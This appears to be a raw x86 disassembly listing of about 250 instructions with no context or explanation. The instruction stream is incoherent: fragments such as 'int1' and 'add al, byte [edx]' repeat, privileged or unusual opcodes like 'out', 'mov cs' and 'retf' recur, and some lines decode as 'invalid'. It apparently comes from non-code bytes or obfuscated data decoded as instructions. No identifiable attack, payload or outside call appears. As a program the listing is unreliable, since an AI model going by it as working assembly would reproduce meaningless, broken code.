mov byte [esi + 0x710202f1], bh
leave
mov byte [edi + 0x670202f1], bh
leave
mov al, al
int1
add al, byte [edx]
outsd dx, dword [esi]
leave
mov cl, al
int1
add al, byte [edx]
push 0xf1c288c9
add al, byte [edx]
pop edx
leave
mov bl, al
int1
add al, byte [edx]
add ebx, dword [edx - 0x15]
push cs
add eax, dword [ebx]
add eax, dword [ebx]
xor eax, 0x52503f40
push eax
push eax
aas
cmp byte [edi], bh
xchg bh, al
pop es
jmp 0x416ac4
xchg bh, al
pop es
test dl, ch
and edx, dword [esi + 3]
add esp, dword [edx + 0x54]
test ah, al
sbb eax, 0xc95c0303
sbb eax, 0xc95c0303
mov bh, bl
fcompi st(1)
int1
add al, byte [edx]
dec ecx
leave
mov al, ah
int1
loopne 0x416ad2
add al, byte [edx]
insb byte es:[edi], dx
leave
mov cl, ah
int1
loope 0x416ad9
add al, byte [edx]
jno 0x416ab5
mov dl, ah
int1
add al, byte [edx]
leave
mov bl, ah
int1
add al, byte [edx]
push ebp
leave
mov ah, ah
int1
add al, byte [edx]
push 0xf1e588c9
add al, byte [edx]
jbe 0x416ad1
mov dh, ah
int1
add al, byte [edx]
jb 0x416ad8
mov bh, ah
int1
add al, byte [edx]
js 0x416adf
mov al, ch
int1
add al, byte [edx]
jne 0x416ae6
mov cl, ch
int1
add al, byte [edx]
leave
mov dl, ch
int1
add al, byte [edx]
push 0xf1eb88c9
add al, byte [edx]
pop edx
leave
mov ah, ch
int1
add al, byte [edx]
add edx, dword [ebp + 0x59]
xchg bh, al
pop es
test ch, cl
adc eax, 0xee0303e9
add ebp, esi
or dword [edi], edi
dec esp
cmp eax, 0xf5844d44
cmp ebx, dword [ebx]
add eax, dword [ebx]
pop ebp
pop edx
out dx, al
pop es
inc esp
cmp eax, 0xbeb3850
add eax, dword [ebx]
add eax, dword [ebx]
dec esi
push eax
dec esp
cmp byte [esi + 0x45], al
cmp al, 0x86
mov dword [edi], 0xff88c962
int1
push ecx
add al, byte [edx]
dec edi
leave
mov byte [eax], al
int1
add cl, dh
add al, byte [edx]
jb 0x416b42
mov byte [ecx], al
int1
add ecx, esi
add al, byte [edx]
leave
mov byte [edx], al
int1
add al, byte [edx]
leave
mov byte [ebx], al
add al, byte [edx]
push ebp
leave
mov byte [edx + esi*8], al
add al, byte [edx]
push 0xf20588c9
add al, byte [edx]
jbe 0x416b65
mov byte [esi], al
add al, byte [edx]
jb 0x416b6c
mov byte [edi], al
add al, byte [edx]
js 0x416b73
mov byte [eax], cl
add al, byte [edx]
jne 0x416b7a
mov byte [ecx], cl
add al, byte [edx]
leave
mov byte [edx], cl
add al, byte [edx]
push 0xf20b88c9
add al, byte [edx]
add edx, dword [ebp + edx*2 - 0x7a]
mov dword [edi], 0x9f82cc84
add eax, dword [ebx]
test ah, ah
invalid
inc esp
xchg bh, al
pop es
test dl, dh
xlatb
mov cl, 3
add ebp, esi
pop es
inc eax
cmp eax, 0x5462413e
push ebp
xchg bh, al
pop es
test ah, dh
mov cl, 0x76
add al, 3
pop esp
xchg al, al
imul ebp, esi, 2
add al, byte [ebx]
js 0x429ef8
retf 0x3f88
out dx, al
add al, byte [edx]
mov es, word [ebp + 0xf]
mov cs, word [ebx + 0xf]
mov word [eax + 0x202f38f], ss
pop ecx
pop ecx
xchg bh, al
pop es
test cl, dh
mov edi, 0x840303b8
leave
pushfd
rol byte [ebx], 3
test cl, dh
pop es
sub dword [ebx + eax], eax
test cl, dh
dec edx
pushfd
add eax, dword [ebx]
popal
push esp
pop ecx
xchg bh, al
pop es
test ah, al
fdivr qword [eax + 0x9ee0303]
xor eax, 0x3e444138
push eax
pop esp
xchg al, al
invalid